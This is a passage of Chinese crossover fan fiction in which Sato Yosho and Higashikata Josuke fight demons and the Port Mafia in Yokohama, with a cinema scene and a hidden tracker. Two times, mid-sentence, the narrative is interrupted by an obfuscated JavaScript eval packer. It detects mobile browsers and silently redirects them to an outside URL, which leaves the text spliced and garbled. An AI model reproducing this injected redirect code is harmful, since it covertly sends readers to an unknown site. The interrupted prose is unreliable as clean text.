下一刻,他就突然朝大野光极扑了过来。 大野光极被吓得丢掉手电筒,拼了命地往前跑。但身后追逐的脚步声却始终不曾停歇,甚至还多出了好几道声音。大野光极根本不敢回头看自己身后到底是一副什么情景。 他这几天为了寻找失踪的志田费尽心思,才找到了一点点的蛛丝马迹。 可是志田再次出现的时候,居然当着他的面在吃人。 等再次绕过一道转弯,大野光极却陷入了无比的绝望——前方居然是一条死路。待他再次转身,才看清缓缓逼近的是一群什么东西:它们中有的和志田一样还保持着人型,有的却已经完全看不出本来的面貌,像是玩弄猎物的猎人一般,朝大野光极的方向缓缓逼近。 这次是真的,要死了吗... 可是...还来不及好好和大哥说一句再见... 大野光极绝望地闭上眼睛。 就在这时,他突然听见了一道仿佛从虚空之中传来的响指声。 “那个...” 肩膀突然被人拍了一下,大野光极立即被吓得瘫倒在地——但下一刻并没有痛苦的降临,反而一睁眼就对上了一双好奇的蓝色的眼睛。 东方仗助诧异地看着突然出现在身边的大野光极,像是看见了一尊会动的雕像:“你怎么在这?你表白失败了?阳翔人呢?” 刚刚死里逃生的大野光极:“……啊?” 10. 第十章 18 大野光极消失后,聚拢在死路之中的怪物们面面相觑。而在他们的身后,扛着黑色吉他包的佐藤阳翔慢悠悠地吹了一声口哨。 无数双闪着寒光的眼睛瞬间将视线移至这名骤然出现的人类身上。但他却像是完全没有感受到面前强烈的敌意与危险一般,不慌不慢地卸下了身上的吉他包,伸手从里面拔出了一把长刀。 刀身沐浴在月光之下,更显得寒光凛冽。 这是一把有灵性的刀,甚至连佐藤阳翔本人都已经记不清这把刀的来历,但使用它的方法就和灵魂印记一样,深深地烙在了他的脑海中。 如何正确地劈砍,如何振刀,如何格挡...这些常人不经训练就很难完成的事,好像在他拔出那把剑后,反而成了一件最顺理成章的事。 渴望吃人的怪物们纷纷祭出獠牙与尖爪,目光凶恶如同不曾开化的野兽。佐藤阳翔则吹着不成调子的口哨,不急不缓地朝向自己逼进的怪物们走去,刀尖触碰到粗糙的地面,只留下一串刺耳到极致的噪音。 下一刻,站在最前面的恶鬼便朝他扑了过来。它的速度非常快,锋利的爪击更是带着能将人类身体一分为二的凌厉攻势。但佐藤阳翔的动作丝毫没有受到影响,他手握长刀,如离弦之箭般蹿了出去。 他的手腕一抖,立起凌厉的刀锋,在爪击袭向面门的瞬间就最大程度地仰身错开,长刀却带着优美而冷血的弧度,将恶鬼的腿齐根斩断。 听见同伴口中发出巨大的悲鸣,其他几只恶鬼也齐齐扑了上来,但那柄刀的速度快到几乎肉眼不可见,只剩下飞溅的血花在空中闪过。 奇异的是,佐藤阳翔几乎是在看见它们的第一眼,就知道了如何和这些怪物战斗的办法。被砍断双腿的恶鬼并未死去,那双形态崎岖的腿正在一点一点地恢复它原本的形态;被尖刀破开胸膛的恶鬼也露出了恶劣的微笑,被刀划伤的伤口正在以肉眼可见的速度愈合。 ——它们是不会轻易死去的【恶鬼】。 佐藤阳翔挑眉,但他既不惊讶也不着急,反而露出了一副“果然如此”的表情,仿佛刚刚的一切都只是临时兴起的一场测试。 测试结果正如他所愿。 尽管不知道自己的大脑中为何会突然出现这样的想法,但这条“恶鬼即使受伤也不会死亡”的猜测已经得到了验证,他现在完全可以信任自己的本能。 刀的下一击,将会砍断恶鬼的脖子。 接下来,双方的身份似乎巧妙地调换了过来——佐藤阳翔变成了这片战场上真正的“恶鬼”。 身穿黑色外套的青年仿佛暗夜中悄然出现的鬼魅,灵巧地闪过每一次袭来的致命攻击,反手将几名恶鬼的头颅同时砍下。被砍下脑袋的怪物哀嚎一声,身体瞬间化为灰烬逐渐散去,但佐藤阳翔的动作依旧没有停下。 他的目标从一开始就是被恶鬼簇拥在中间的那个家伙——他是这些怪物中间唯一一名穿着现代服饰的人,下巴上的大片血迹才干涸不久,显然是杀死保安的真正元凶。 然而,在刀锋即将砍向这家伙脖子的那一刻,一直安静呆着的恶鬼却突然抬起了无神的眼睛,口中吐出模糊不清的字句:“终于...找...找到了...无惨大人找寻的...‘不死的人类‘...” 志田模样的恶鬼瞳孔急剧收束,最后只剩下一条宛如蛇瞳般的竖影。 比月光还要冰冷的毒针瞬间出现在空中,向着佐藤阳翔进攻的必经之路飞去。佐藤阳翔暗骂一声,反手将刀身挡在面前,金属相撞发出令人牙酸的声音,佐藤阳翔卸开力度,借着冲势在地上滚了一圈,但恶鬼的第二波攻击却没有再给他歇息的机会。 “找到你了...找到你了...找到你了!!” 恶鬼咧开嘴角,不似人类的白色眼眸亮得异常,它异常兴奋地振臂咆哮道:“我终于可以替无惨大人完成他的心愿!血鬼术——” 如蜂群般的毒针再次如乌云般聚集于空中,几乎将月光一口吞噬。 佐藤阳翔的身影瞬间被吞没。 恶鬼眼中掠过了一丝嘲讽的笑意。 它闭上眼睛,神情悲悯而陶醉:“赎罪吧,我会对你降下死亡的审判。” 19 “Vectory!” 欢呼声,口哨声,以及赛车引擎咆哮的声音回荡在出租屋内,刚刚完成了一次逆风翻盘局的东方仗助刚从大野光极那里赢来了整整一千日元。 赛车失败者兼刚刚死里逃生的幸存者大野光极脸色铁青,在看见东方仗助还想继续开启下一盘,立即按住了他的手。 “怎么了?说好一局一千日元的,你不会是想赖账吧?!”东方仗助警惕道。 “不...不是这个原因啦!”大野光极在意识到自己来到的地方居然是佐藤阳翔的出租屋里,并且还好巧不巧地一屁股坐在了东方仗助的游戏手柄上时,他就意识到这件事绝对和佐藤阳翔本人有关系。 “你不担心大哥吗?!”他急得快哭了,“虽然不知道发生了什么,但肯定是老大把我送到这里来的!他如果在现场的话,那就太危险了,我们现在得快点去救他!” “啊?”东方仗助却回头,“那沙漠和雪地你想玩哪一个?” “...你!” 在见到大野光极的眼泪后,东方仗助终于确定这家伙是真心实意地在担忧佐藤阳翔的安危。东方仗助虽然和大野光极同样心存担忧,但他不是傻子,早在佐藤阳翔拿出那个吉他包的时候,东方仗助就察觉到了不对劲——替身使者的直觉告诉他,这个包里一定蕴含着很强大的力量。 更重要的是,佐藤阳翔不是那种会主动去找死的人。 他会毅然决然选择外出寻找大野光极,就说明他对自己的身手有信心。 尽管上回在地下城洞窟里冒险的时候,佐藤阳翔表现出了打起架来不要命的特征,让东方仗助担心得不得了,但这家伙在关键时刻从来不掉链子,还向东方仗助解释自己不要命是因为知道【疯狂钻石】会治好他。 “那你也不能...” “放心吧,仗助。”当时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889035|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一身狼狈的佐藤阳翔却露出了一个志在必得的微笑,“我知道像我这样的小人物,没有人会在乎我的性命,但我自己还是宝贵得不得了的。正是因为有你在我身边,我才不担心啊。” “——我不和朋友撒谎噢。” 少年的金眸微微弯起,璀璨如星辰。 尽管时机和场景都不太对,但东方仗助的心脏仍旧在那一刻砰砰狂跳。 “我们就相信阳翔吧。”东方仗助挠了挠后脑勺,“他不是个说话不算话的家伙——当然,这家伙骗人的时候除外啊!” 他既然说要三个人一起打游戏打到凌晨三点,那他一定会回来。 “...所以说,那可是我和朋友约定好的行程,如果被你耽误的话可饶不了你噢。” 另一边,刚刚还念下审判之词的恶鬼双眸急缩,倒影出青年的金色眼眸。直到它发现月亮不知何时出现在了佐藤阳翔的背后时,才慢一拍地反应过来自己现在应该躺在了地上。 欸?为什么躺在地上的是自己...? 它僵硬地扭过头,在不远处看见了自己被砍断的四肢。 ...它想起来了,在血鬼术再次发动的那一刹那,被万千毒针包围的佐藤阳翔忽然凭空消失,下一刻显现在月光下的则是一把刀,一把沾满鲜血的长刀。 然后自己的四肢便突然一软,接下来锋利无比的攻势正对它的下颚。 那把刀巧妙地绕开了能够砍下头颅的点位,刀锋直接从它的嘴里捅了进去,最后将恶鬼整个钉在了地上。 佐藤阳翔的左手还握着长刀的刀柄。他蹲下身,像是小孩子观察蚂蚁那样仔仔细细地打量着恶鬼的脸和眼睛,然后露出了一声冷淡的嗤笑。 “没空和你再玩过家家了。”他说,“现在先快进到提问环节——你是怎么来到横滨的?你又为什么会认识我?你口中的那个‘无惨’又是谁?你看起来是现代人,又为什么会变成吃人的怪物?” 佐藤阳翔眯起眼睛威胁道:“你要是不说的话,我只能好好‘招待’你一下了——既然恶鬼不被割走脑袋就死不掉的话,那应该生命力很顽强吧?” 性命被吊在悬崖上的恶鬼却在听见“无惨”这个名字后瞳孔突然一缩! 它立即惶恐地张大嘴,被刀钉住的舌头捋不直,发出滑稽又模糊的音节——但佐藤阳翔知道,这种恢复力极强的恶鬼并不会因为自己的威胁就表现出惶恐不安的神色。 它像是看见了什么异常恐惧的东西,白色的眼睛正在以肉眼可见的速度黯淡下来。 “喂,你?”佐藤阳翔皱起眉头,发现它的身体竟然开始像气球一样膨胀起来。 佐藤阳翔立即拔出刀,但恶鬼身体的变化却毫无改变,最终膨胀到了极致,随着“砰”地一声巨响散落成无数灰烬。 它被什么力量操纵着自爆了吗? 佐藤阳翔抬眼,看了一眼幽深到极致的黑暗。 黑夜安静,沉重,却仿佛潜藏着一双无形的眼睛。 ——有东西正在死死地盯着他。 11. 第十一章 20 佐藤阳翔有气无力地走在大街上。摇摇欲坠的身体看起来好像随时都会倒下,眼下还挂着两轮明晃晃的黑眼圈。是的,他现在正处于熬夜后遗症——对于他这种一过青春期就自动步入老年状态的人来说,睡眠不足简直就是人生之大敌。 昨天晚上他离开港口的时候已经很晚,甚至在半路上还偶遇了骑自行车巡逻的警察——幸而随身携带的吉他包很好地掩盖了他违规携带管制刀具上街的恶行,否则他的后半夜就要在一个不太美妙的地方度过了。 佐藤阳翔打完架还要应付警察,等回到家的时候已经累得半死,刚打开出租屋的大门就看见了哭坟似的大野光极,一把鼻涕一把泪地扑上来抱他的大腿:“老大!你没事真的太好了!” 佐藤阳翔一脸嫌弃地推开哭得一把鼻涕一把泪的小弟:“喂,不要把眼泪和鼻涕抹在我的裤子上!” 在佐藤阳翔到家前,东方仗助就已经从大野光极那里彻底弄清了事情的来龙去脉。在确定佐藤阳翔并没有受伤后,东方仗助就把大野光极寻找志田的始末又和他说了一遍,然后说:“我现在已经从光极手里赢了三千日元了,你也快点来一起压榨他的钱包吧!” “什么?你哪来的钱和他玩啊?” “我的债务当然是都算在你的头上啊。”东方仗助理所当然地说完后,一把揽过佐藤阳翔的脖子低声道,“不过不用担心,他开车的技术烂到爆炸,穿越沙漠的时候还经常失去方向,这难道不是一个让我们快速赚钱的好机会吗?!” 原本还想发脾气的佐藤阳翔脸色变了又变,然后回头看向一脸傻样的大野光极,毅然决然地加入了压榨小弟钱包的行列:“那今晚先赚个三万日元!” 于是,运动量已经严重超标的佐藤阳翔一咬牙,真的和东方仗助一起赚到了三万日元。当然——代价是直接通宵。 与困得半死的佐藤阳翔不同,此刻站在他身边的东方仗助精神得可以一口气犁十亩地。该说不说年轻人的精气神就是好,他从前在杜王町熬夜老被东方朋子刁着耳朵怒骂;现在脱离了老妈的管控,总算有机会做点叛逆的事,昨夜一口气把大野光极和佐藤阳翔全都熬穿后,居然还有精力挑选电影。 今天是周末,电影院已经排起了一条长队。佐藤阳翔其实很不愿意爬起来陪他一起去看电影,但东方仗助昨天晚上赢了最多的钱,还表示愿意无偿请他一起去看——佐藤阳翔闻言,登即表示自己爬也要爬到电影院。 谁能拒绝免费的东西?! 他们挑选了一部重新放映的格斗电影,购票后一手抱着爆米花,一手拿着冰可乐,一转身便在人海里看见了一张熟悉的面孔。 顶着一头狗啃刘海的白发少年抱着两盒爆米花,正在向身边娇小的和服少女介绍着影院大厅公布的排片。不等佐藤阳翔他们率先打招呼,那少女就已经在熙熙攘攘的人潮中第一时间感受到了打量的视线。 泉镜花抬起冰蓝色的眼睛,准确无误地看向了二人的方位。 “...这部电影听说很有趣诶...怎么了吗镜花酱?” 中岛敦顺着她的视线一扭头,便看见了脸色揶揄的佐藤阳翔和东方仗助,惊讶道,“啊,是佐藤先生和东方君!你们也来看电影吗?” 但佐藤阳翔与东方仗助不语,只一味地露出揶揄的微笑。 中岛敦被他们盯得莫名其妙:“怎...怎么了吗?” 佐藤阳翔和东方仗助对视一眼,真情实意地竖起大拇指感慨:“不不不,没什么,年轻真好啊!不过人家还没有成年,少年你要小心不要被警察抓到了哦~” “欸?!”中岛敦顺着他们的视线看向了正游离于对话之外的镜花,终于意识到了佐藤阳翔言外的深意,脸色瞬间爆红,“不不不,真的不是佐藤先生想象的那样啊!” 21 当四个人一起排排坐在影厅角落中的时候,中岛敦才慢一拍反应过来好像有什么不对劲的地方:刚刚大家不是还在打招呼吗,怎么突然就变成大家一起看电影了?! ——对了,好像是佐藤阳翔突然说电影一定要热热闹闹一起看才行,就把泉镜花和自己一起半拉半扯地带过来了... 电影即将开场,周围的座位却依旧空空荡荡的——毕竟这部格斗片已经不是首次上映,在横滨也不怎么受欢迎,所以观看这部影片的观众也很少,他们四人就这么水灵灵地“包场了”。 气氛陷入了莫名尴尬的沉默。 他们等了一会儿,灯光终于熄灭,电影也在这时开始播放起无关紧要的预告和投资商的标志。 就在中岛敦以为四人会这么和和睦睦一起看电影的时候,佐藤阳翔却忽然开口:“少年,你有没有听说过【鬼】的存在?” “鬼?”中岛敦瞪大眼睛问,“佐藤先生怎么突然说这个?” “因为我昨天晚上在码头附近见到了【鬼】。” 在佐藤阳翔说话的间隙,电影同时进入了开头:电影里的男主角是一位受伤的拳击手,因为一场意外被迫离开拳击场,于是电影开篇便是他受到众人欺辱,离开擂台的场景。 中岛敦听得一头雾水:“对不起,我有点没听懂佐藤先生您这是什么意思...” “别着急,你先听我说。”佐藤阳翔道,“我昨天晚上遇到了一种即使受到了致命创伤也不会消失的怪物,它们在晚上时的活动格外敏捷,只有被砍下脑袋才会消失。而且,【鬼】还是由人类转化而成的。” ——曾经是人类的志田就是个最好的例子。 中岛敦差点震惊地跳起来,好在他还意识到自己正处于影院之中。在倒吸了一口冷气后,中岛敦的脸色也变得凝重起来:“我知道您的意思了。这件事我会转告给侦探社的大家的,佐藤先生也请小心。” 他犹豫片刻,还是委婉道:“那个…佐藤先生好像经常遇到这些事呢...” “是啊,我还蛮倒霉的。” 佐藤阳翔越过中岛敦的肩膀,淡淡地瞥了一眼正在专心致志看电影的和服少女。 此刻的电影男主角已经彻底离开了拳击手这一行,开始过上颓废且痛苦的生活——但他却认为这种生活是一种解脱,因为他入行后整整十年都在为地下拳击场老板效力,老板如果提前买了他输,他就必须被对手一拳击倒。 让中岛敦感到意外的是,泉镜花看得格外认真。 佐藤阳翔随口问道:“对了敦,你和你身边的那个少女,是怎么认识的?” 电影很快推进到了下一个小高潮,曾经因为打假拳离开擂台的前拳击手原本就想这么放纵至死,但女主角的出现却让他第一次燃起了想要为一个人而战的冲动。 中岛敦犹豫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889036|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片刻,语气复杂地道:“这件事很难一下子说清楚...总而言之,这孩子本质上并不是一个坏人...” 佐藤阳翔却不可置否地轻轻一哂:“是吗?” “像我这样从黑暗中逃出来的家伙,真的配再次站上擂台吗?”电影的男主角露出了痛苦且挣扎的表情,“还有哪个拳击俱乐部肯要我呢?我的过去令我憎恶,但它确实造就了现在的我...” 主人公内心的挣扎与恐惧就这么简单地袒露给了屏幕前的观众,中岛敦发现坐在身边的泉镜花在不知不觉中用力握紧了双拳。 和电影主角相同的迷茫之色在她的眼中一闪而过。 佐藤阳翔突然用手肘戳了戳专心看电影的东方仗助,附在他的耳边用极轻的气音问:“喂仗助,你的【疯狂钻石】移动距离有多少?” 东方仗助被他的声音搞得耳朵痒痒的,侧开头问道:“离不了太远,但大概距离是2-3米吧。你怎么了?” 伴随着一阵激动人心的背景音乐,电影男主第一次鼓起勇气站在了聚光灯下。 但他却完全没有摆脱黑暗的实感。他依旧会下意识地望向地下拳击场老板总是呆着的那个位置——他终于发现,自己原来从未逃离那座地下拳击场。 他在站上擂台后,依旧会想起他的溃败,他的逃避,他的青春,他的恨与长达十年的回忆。 而他的一时走神,也给了对手将其击倒的机会。 看着重新被痛苦笼罩的男主角,一滴泪顺着泉镜花的脸颊缓缓落下。 这名看起来无心无情的少女,实际上也是一名想要投身光明却又感到害怕的少女,此刻与这部电影的主角巧妙地达成了一种前所未有的共鸣。 “...镜花酱...” 中岛敦的脸上闪过了有些不忍的神情。 少女流泪的声音无声而悲伤,她用力抱紧了怀里的兔子玩偶,像是拥抱着自己的整个世界。 然而,佐藤阳翔的神情却与泉镜花截然相反,电影的光在他的脸上明明灭灭,反倒把那张原本看起来很有亲和力的脸照得无情且冷峻。 ——谁都没有发现,【疯狂钻石】的身影不知何时已经正在泉镜花的座位后静静伫立。 电影里的男主角即将输掉他的第一场正规比赛。大概在他输了以后,他也会对这个职业死心吧——然而,就在他想要干脆就这么放弃的时候,他看见了站在台下的女主角,爱的力量和对光明的向往,一下子在他的心中拔至顶峰。 男主角暴喝一声,居然在千钧一发之际突然摆脱了对手的钳制,进入了反攻的桥段。 泉镜花的身体也无意识地开始往前倾斜。 能摆脱黑暗吗?能站在光明的那一边吗? 中岛敦知道,身侧的少女一定是在这部电影的男主角身上看见了自己的投影——在这一刻,中岛敦甚至比泉镜花还更希望男主角能够反败为胜。 然而,就在拳击手即将反败为胜的这一刻,一道血花突然飞入中岛敦的视野。 他下意识地扭过头,发现泉镜花的腹部像是突然被什么无情的力量破开了一般,露出鲜血淋漓的伤口,被她抱在身前的兔子玩偶也骨碌碌地滚在了地上。 世界仿佛安静了下来。 一秒,两秒。 中岛敦的瞳孔急剧收缩,失声道:“镜花酱!” 12. 第十二章 22 然而下一刻,泉镜花腹部的伤口便奇迹般的愈合了,不要说可怖的伤口,就连一点血迹也没有残留在她的衣服上。她弯腰捡起了掉在地上的兔子玩偶,神情迷茫地看着中岛敦,像是在问:“怎么了?” 中岛敦却说不出一个完整的句子。 拥有白虎异能的他感官异常敏锐,在那一瞬间他确实看见了泉镜花的腹部被一股无名的力量洞穿了,但他现在没有证据,甚至连空气中都没有残留一丝血腥味,一切都好像只是泉镜花没拿稳玩偶而引发的幻觉乌龙。 “你是不是太累了?”佐藤阳翔说,“刚刚什么都没有发生呀。我们一直在看电影,整间观影厅里就只有我们四个人,没有什么危险吧。” “那可能...真的是我看错了吧。”中岛敦最终还是咽下了心中的疑虑,露出了一个尴尬又抱歉的微笑。 虽然现场只有他们四人,但放映室内的员工还是发现了这里的动静,探出脑袋问他们怎么了。 中岛敦只好又拼命地道歉。 电影正巧在这时演到高潮片段。佐藤阳翔向东方仗助使了个眼色,二人立即以上厕所为借口离开了观影厅。他们出门后,就挑了一个无人经过的消防通道,把【疯狂钻石】刚刚从泉镜花身体里扯出来的东西拿了出来。 从形状上来看,这应该是一种微型器械,上面还闪烁着表示正在稳定使用中的绿色光芒。 东方仗助好奇地问:“这是什么?” “发信器。”佐藤阳翔说,“而且应该还是一款高级货。你看上面还有H.B机械株式会社的标志和编码。那个女孩就是鱼饵,追踪者最终目的应该是为了钓出中岛敦或者他背后的侦探社吧,真是不知道这两个人究竟是太倒霉还是缺心眼,都被人追踪一路了还没反应过来。” “那你又是怎么知道它在那个女孩身体里的?” 见东方仗助更加疑惑,佐藤阳翔便摆出了一副高深莫测的表情:“没有为什么,我就是知道。” “真的假的!” 东方仗助立刻露出了好奇心没得到满足的不甘,但他也知道现在并不是一个探究来龙去脉的好时机。 虽然他们已经得到了这枚发信器,但如何处理才是真正的重头戏,东方仗助建议直接冲到厕所里,但佐藤阳翔却叹气:“太迟了,这种发信器很灵敏的,在进入影院后绝对已经发射了信号,现在估计跟踪的人就蹲在外面守株待兔吧。” ——“那我们是不是要去把这些坏家伙揍一顿?” ——“所以,仗助你就先回去看电影吧!” 面面相觑的二人同时出声,但说出的却是截然相反的两种处置方法。东方仗助原本还想问植入发信器的都是些什么人,就被佐藤阳翔随意的语气打了个措手不及。 东方仗助原本美好的心情顿时乌云密布。 “你又要把我打发走?!”他咬牙切齿地说,“Great,非常Great,说起来昨天晚上你把我一个人留在家里的事我还没找你算帐呢!上次就算了,你这次就算把我关进监狱里,我也会用【疯狂钻石】跟着你出去然后再回去自首的!” 佐藤阳翔露出了一个有点愧疚的表情。 他完全知道东方仗助的本意是担心自己,但他就是不想让自己身边的人为了自己的举动身陷险境:从前是大野光极,现在是东方仗助——说到底,从泉镜花身体里拿走发信器这件事,本来就只是佐藤阳翔的个人主意。 东方仗助完全是接受了好友的请求才成为他的从犯,这家伙本来的计划就只是来看格斗电影而已。 “可是你不是要看电影吗?” 佐藤阳翔不理解看电影时陪在身边的人有多重要,甚至还以为看电影才是东方仗助的重点——他甚至想,如果东方仗助觉得一个人看电影很孤单的话,自己就给大野光极打电话,让他来陪仗助一起看。 东方仗助真的快要气死了:“我才不是为了看电影才和你出来的!我是为了...” 说到这里,他的声音又像是被按下了暂停键一般停顿了。 顺势表白心迹什么的,东方仗助还暂时说不出口。 “总而言之,和你出来玩才是我的本意!何况比起我,难道你不是更应该担心自己的安危吗?!” 东方仗助突然觉得和木头谈感情的自己也实在蠢得不行,他捂住脸深深吸了一口气,又回归了往日那副样子,“反正我得跟着你!” 佐藤阳翔现在觉得东方仗助才是那个缺心眼的人——他根本就不知道这枚发信器意味着什么,更不知道H.B机械株式会社百分之四十左右的股份都攥在港口mafia的手上。 盯上中岛敦的家伙可是港口mafia啊! “盯上他们的人很危险,港口mafia是这座城市最大的□□组织,你如果跟过来的话会丢掉性命的。” “那我更得看着你了,省得你又跑去送死。” 东方仗助现在正值热血青春期,左耳朵进右耳朵出,完全不将佐藤阳翔的劝告放在心上。这种想要在暗恋对象好好表现的准男高一旦开始较劲,简直犟得八头牛都拉不回来。 东方仗助直接抓住了佐藤阳翔的手大步走出了电影厅,他想用实际行动告诉佐藤阳翔自己绝对不会抛下同伴一人面对危险,结果一拉开门就看见了一排西装革履的墨镜男手持德产P229型手枪站成了一排,齐齐瞄准了刚出影厅的二人。 然后,他们扣动了扳机。 23 “砰”地一声,电影中的男主角狠狠撞在金属油桶上——他刚刚遭遇了前拳击场老板在路上设置的伏击。 这场打戏拳拳到肉,激烈的BGM完全可以把观众的兴致调至最高,但中岛敦却没由来地感到一阵不安。即便现在的密闭环境充满了安全感,中岛敦也说不清自己情绪的异常点究竟从何而来。 或许是从佐藤阳翔说出【鬼】的存在开始,又或许是看见泉镜花伤口莫名消失开始,越来越多的谜团堆积在他的心中得不到疏解。 中岛敦环顾一圈,最终望向观影厅的大门,喃喃道:“说起来...佐藤先生和东方君怎么还没回来啊?” 他绝对不会想到,就在影院的门口,正在上演一场激烈的战斗。 七步之外,枪比剑快;七步之内,枪又准又快。 拉开门的那一刻,东方仗助还以为自己绝对死定了,虽然他来到横滨以后遇到了太多怪事,但绝对还没糟糕到要立遗嘱的地步——像这样刚拉开门就遭到枪击的遭遇,对他而言还是第一次。 奇异的是,刚刚还距离自己不过毫米的子弹,一眨眼间就消失不见了,取而代之的是刚刚还站在自己身后的佐藤阳翔。 随着“哗啦啦”一阵巨响,东方仗助听见了身后大厅玻璃被子弹击碎的声音。 大厅的售票员尖叫一声,带着顾客立即逃窜得干干净净。 挡在自己身前的佐藤阳翔整个人都散发着淡蓝色的光芒,那双金色的眼眸亮如星辰——他的异能【空间转移】于千钧一发之际发动,将佐藤阳翔本人与子弹转换了空间位置。 东方仗助立即想起来,昨夜的大野光极好像也是这么莫名其妙地出现在自己面前的。 佐藤阳翔抬腿踢中敌人手腕,夺过了他手里的手枪,动作敏捷地滑入敌阵,毫不犹豫道:“动起来,仗助!” 【疯狂钻石】的启动速度很快,一拳就贯穿了挡在东方仗助面前的敌人,伤口虽然不致命,但足以让这些家伙完全失去行动能力。东方仗助很快就来到了佐藤阳翔的身边,二人背靠着背而立,被逼入了包围圈内。 行人一偶遇这种激烈的交战,全都躲进了附近的商店里。 四周空出了方便替身行动的空间,【疯狂钻石】便带着最猛烈也最 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芥川龙之介却一把拍开了他的手腕,嗤笑一声,像极了竖起尖刺的刺猬:“你还真是胆大包天,佐藤阳翔。带走人虎是在下的工作,你进来横插一脚,是要与港口mafia为敌吗?” “对前同事说话不要这么咄咄逼人嘛,我们以前关系不是还挺好的吗?再说了,我都已经让你【杀死】过一次了吧。”佐藤阳翔很少有这么耐心的时候,“当年那件事,你到现在都还没有消气吗?” 东方仗助在听见“杀死”这个字眼后却愣了一下。 佐藤阳翔...“死过”? “解气?很可惜,并非如此。” 佐藤阳翔话音刚落,芥川龙之介便一把拽住了他的领子,二人凑得极近,芥川龙之介想要从他的眼中看到哪怕一点点的恐惧和在意,但都失败了:“对于在下而言,你的死亡才是我所一直期待的事。” 他以为只要不见到佐藤阳翔那张脸,就可以坦然地说服自己这家伙已经死了——并且还是死于自己的手中。 但佐藤阳翔又出现了,他甚至对自己当年杀他的举动既没有怨恨也没有反击,甚至还摆出了一副轻飘飘的样子——好像他们的过去只用一句玩笑话就能带过。 然而,越是这种无所谓的态度,越是能轻而易举地刺伤刺伤他,甚至引发芥川龙之介无限的仇恨。 更重要的是,当佐藤阳翔的手里拿着发信器,出现在影院门口的那一刻,就说明他已经义无反顾地站在了中岛敦和侦探社的那一边。 ——人虎。又是人虎。 为什么又是人虎?! 为什么他总是可以获得自己渴求的东西?! 芥川龙之介一想起地牢中太宰治的那句“我的新部下可比你优秀得多”,灰色的眼眸便燃烧起了愤怒与憎恶的火光,拽着他衣领的手也越收越紧。 他几乎是真情实意地想要把佐藤阳翔在这里杀死。 但佐藤阳翔并不觉得害怕,他非常清楚芥川不会真的动手。这家伙总是将一切不遵从他内心的情绪全部打为痛恨,等到他真的要动手的时候,这些杂七杂八的感情就会成为他行动上的累赘。 ——这并不是真的恨。 当年的事结束后,芥川龙之介就收到了佐藤阳翔提前发出的信件,里面详细说明了自己一举一动的来龙去脉,甚至还真情实感地和他道了歉。 但佐藤阳翔日后再也没有出现过,芥川龙之介只能重新拾起怨恨——这是他唯一肯承认的,能够允许自己想起佐藤阳翔的最佳理由。 芥川龙之介最终还是松开了他的领子。 警车的警笛声在这时由远而近地传来,港口mafia必须离开了。芥川龙之介回过头,最后深深地看了一眼佐藤阳翔,语气冷漠:“下一次再见面,你就没有这种好运了——在下会收走你的性命。” 13. 第十三章 24 佐藤阳翔与东方仗助在电影结束的前五分钟才急匆匆赶回观影厅,并且一坐下来就开始猛灌汽水——爆米花冷掉不要紧,如果冰可乐的汽和冰都没了那才是难喝中的难喝。中岛敦看见这两个人现在才回来,表情很诧异:“佐藤先生,你们去哪里了?电影都快播完了...” “本来想说去厕所了——但其实我们是去和港口mafia打了一架。”佐藤阳翔语气平淡得好像在说路上碰到了什么熟人,“电影好看吗?可惜我和仗助都错过重要情节了。” “等等,你们和谁打了一架?!”中岛敦大惊失色,“芥川吗?!他也来看电影?!” 佐藤阳翔想象了一下芥川龙之介穿着私服戴着墨镜出现在电影院的样子——这家伙多半是看喜剧片也不会笑的类型——不由得觉得十分有趣:“不是啦,他是来找你旁边的那个女孩,或者说是来找你的。不过现在一切都解决了,待会儿一起回侦探社吧。” 这段话的信息量有点太大了,塞得中岛敦一下子有点转不过脑筋来:“诶?等等!芥川为什么会找到这里来...?你们是怎么知道他在找我的?佐藤先生待会要去侦探社吗?” “你好烦啊。”佐藤阳翔直接往他嘴里塞了一把爆米花,“反正很快你就会知道的。还有,镜花酱...是叫这个名字吧?这次可是我们挺身而出哦,所以你也别想着电影结束就逃跑,跟我们一起回去吧。” 被一眼猜中心思的少女瞬间露出了有些无措的表情。 ——她确实是这样打算的。 电影里的男主角最后虽然成功逃离了黑暗,成为了一名光明磊落获胜的拳击手。但电影终究只是电影,在电影放送结束后,泉镜花还是泉镜花,是港口mafia里恶贯满盈的暗杀者,永远成为不了站在阳光下的那个人。 能再看一次电影,她已经很知足了。 父母死后,她就再也没有来过电影院,一切与集体活动挂钩的场所都与泉镜花无关——所以,她本来就打算等看完电影就和中岛敦告别,然后再去警局自首,面对自己该承受的结局。 死亡也好,牢狱也罢,她全都接受。 只是中岛敦一直心软,他本该在和国木田分开后就将泉镜花送往警局,却一次又一次地逃避着面对那个冰冷无情的结局。 “但是我...”泉镜花收紧了抱着玩偶的手,无力地垂下眼眸,“应该去我该去的地方。” 中岛敦不忍:“镜花酱...” “那你就更应该跟过来了。我们帮你摆脱了港口mafia的追踪,又挡住了龙之介这个麻烦,相当于救了你两次诶,所以现在你得替我做事。”佐藤阳翔早就把“自愿奉献”这个词丢到了九霄云外,“你应该不是那种对救命恩人的请求熟视无睹的那种类型吧?” 泉镜花终于不再吭声。 